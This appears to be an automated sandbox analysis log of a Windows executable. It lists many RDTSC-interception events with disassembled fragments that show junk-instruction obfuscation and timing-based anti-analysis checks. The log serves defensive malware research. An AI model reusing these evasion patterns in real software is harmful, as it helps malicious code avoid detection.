Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4B04 second address: 9D4B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4B0C second address: 9D4B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3D05 second address: 9D3D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FA1A50FC144h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FA1A50FC13Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3D2E second address: 9D3D38 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA1A50F86FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D59E6 second address: 9D59EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4C66 second address: 9D4C88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA1A50F8705h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8069 second address: 9D806D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5BBC second address: 9D5BD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8708h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D806D second address: 9D8073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8073 second address: 9D8093 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pushad 0x0000000b jmp 00007FA1A50F8703h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9076 second address: 9D907B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D907B second address: 9D912C instructions: 0x00000000 rdtsc 0x00000002 je 00007FA1A50F86F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FA1A50F86F8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 jmp 00007FA1A50F8703h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007FA1A50F86F8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a push 00000000h 0x0000004c call 00007FA1A50F8707h 0x00000051 call 00007FA1A50F8706h 0x00000056 and ebx, 4ECA2059h 0x0000005c pop edi 0x0000005d pop edi 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FA1A50F86FAh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D824A second address: 9D8252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D912C second address: 9D913F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D913F second address: 9D9162 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA1A50FC138h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA1A50FC144h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9162 second address: 9D9178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA1A50F8702h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDF6E second address: 9DDF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDF74 second address: 9DDF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD1F1 second address: 9DD1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD1F7 second address: 9DD1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE1BA second address: 9DE1D0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA1A50FC136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FA1A50FC138h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE1D0 second address: 9DE26A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 clc 0x0000000a push dword ptr fs:[00000000h] 0x00000011 jmp 00007FA1A50F8707h 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d movzx edi, si 0x00000020 mov eax, dword ptr [ebp+122D06ADh] 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FA1A50F86F8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 sub dword ptr [ebp+124676E2h], esi 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push esi 0x0000004b call 00007FA1A50F86F8h 0x00000050 pop esi 0x00000051 mov dword ptr [esp+04h], esi 0x00000055 add dword ptr [esp+04h], 00000019h 0x0000005d inc esi 0x0000005e push esi 0x0000005f ret 0x00000060 pop esi 0x00000061 ret 0x00000062 jng 00007FA1A50F86F6h 0x00000068 nop 0x00000069 jng 00007FA1A50F8708h 0x0000006f push eax 0x00000070 push edx 0x00000071 jbe 00007FA1A50F86F6h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE26A second address: 9DE26E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE26E second address: 9DE27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE27B second address: 9DE27F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE27F second address: 9DE285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE285 second address: 9DE28C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFFAE second address: 9DFFB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFFB2 second address: 9DFFB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E31AC second address: 9E31B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E31B1 second address: 9E31BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FA1A50FC136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5492 second address: 9E5498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A346 second address: 97A34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A0C second address: 9E9A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA1A50F86FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A1F second address: 9E9A63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FA1A50FC13Eh 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007FA1A50FC13Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA1A50FC140h 0x00000024 ja 00007FA1A50FC136h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A63 second address: 9E9A6D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA1A50F86F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A6D second address: 9E9A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A73 second address: 9E9A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9163 second address: 9E9168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9168 second address: 9E9172 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA1A50F86FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9172 second address: 9E9191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA1A50FC13Bh 0x0000000d jmp 00007FA1A50FC13Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E92F4 second address: 9E9301 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA1A50F86F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9301 second address: 9E9307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE4BC second address: 9EE4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE4C0 second address: 9EE4C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE4C4 second address: 9EE4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE4CA second address: 9EE4D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE67E second address: 9EE6C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA1A50F86FAh 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f jns 00007FA1A50F86F6h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 pop ecx 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jmp 00007FA1A50F8703h 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 ja 00007FA1A50F86F6h 0x0000002d jmp 00007FA1A50F86FAh 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE6C9 second address: 9EE6D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA1A50FC136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE6D3 second address: 9EE6E8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ecx 0x0000000d je 00007FA1A50F86FCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE7D2 second address: 9EE7D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE7D7 second address: 811A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 6E5254EEh 0x0000000e ja 00007FA1A50F8710h 0x00000014 push dword ptr [ebp+122D0FD9h] 0x0000001a jmp 00007FA1A50F8700h 0x0000001f call dword ptr [ebp+122D2D7Bh] 0x00000025 pushad 0x00000026 or dword ptr [ebp+122D3737h], esi 0x0000002c xor eax, eax 0x0000002e pushad 0x0000002f mov eax, 18437471h 0x00000034 cmc 0x00000035 popad 0x00000036 pushad 0x00000037 and ah, 00000000h 0x0000003a pushad 0x0000003b sub dword ptr [ebp+122D3737h], edi 0x00000041 popad 0x00000042 popad 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 jo 00007FA1A50F86FFh 0x0000004d pushad 0x0000004e mov edi, dword ptr [ebp+122D2BEEh] 0x00000054 stc 0x00000055 popad 0x00000056 mov dword ptr [ebp+122D2B0Ah], eax 0x0000005c mov dword ptr [ebp+122D3270h], edx 0x00000062 mov esi, 0000003Ch 0x00000067 cld 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D3270h], ecx 0x00000072 lodsw 0x00000074 add dword ptr [ebp+122D3737h], ebx 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e jmp 00007FA1A50F8704h 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 cld 0x00000088 nop 0x00000089 push eax 0x0000008a push edx 0x0000008b jnp 00007FA1A50F86F8h 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F64E9 second address: 9F64EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F64EE second address: 9F652F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA1A50F8704h 0x00000010 jmp 00007FA1A50F8708h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97BDAB second address: 97BDE6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007FA1A50FC136h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FA1A50FC149h 0x00000012 pushad 0x00000013 jc 00007FA1A50FC136h 0x00000019 pushad 0x0000001a popad 0x0000001b push edi 0x0000001c pop edi 0x0000001d jbe 00007FA1A50FC136h 0x00000023 popad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F59B5 second address: 9F59D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007FA1A50F86FFh 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5C78 second address: 9F5C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5DDB second address: 9F5DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5DE1 second address: 9F5DFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA1A50FC13Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5DFA second address: 9F5DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5DFE second address: 9F5E02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6388 second address: 9F638E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F638E second address: 9F6392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6392 second address: 9F6396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAB50 second address: 9FAB5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FA1A50FC136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAB5A second address: 9FAB5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB05C second address: 9FB062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB062 second address: 9FB0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA1A50F8702h 0x0000000a jmp 00007FA1A50F8701h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007FA1A50F8702h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB0A5 second address: 9FB0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FA1A50FC136h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB62C second address: 9FB630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB630 second address: 9FB636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB776 second address: 9FB786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F86FAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBA2A second address: 9FBA2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBA2E second address: 9FBA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F8709h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBA4D second address: 9FBA6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50FC148h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00363 second address: A00367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00665 second address: A00671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jp 00007FA1A50FC136h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00671 second address: A00675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00675 second address: A0067E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00D0C second address: A00D33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8709h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jc 00007FA1A50F86F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00D33 second address: A00D39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00EE6 second address: A00EEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00EEE second address: A00EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01071 second address: A0107D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA1A50F86F6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0107D second address: A01083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01083 second address: A010A2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA1A50F86F6h 0x00000008 jc 00007FA1A50F86F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA1A50F86FDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A010A2 second address: A010AC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA1A50FC136h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A010AC second address: A010D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FA1A50F8723h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA1A50F8709h 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A010D7 second address: A010E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01243 second address: A0125C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA1A50F86FCh 0x00000012 rdtsc
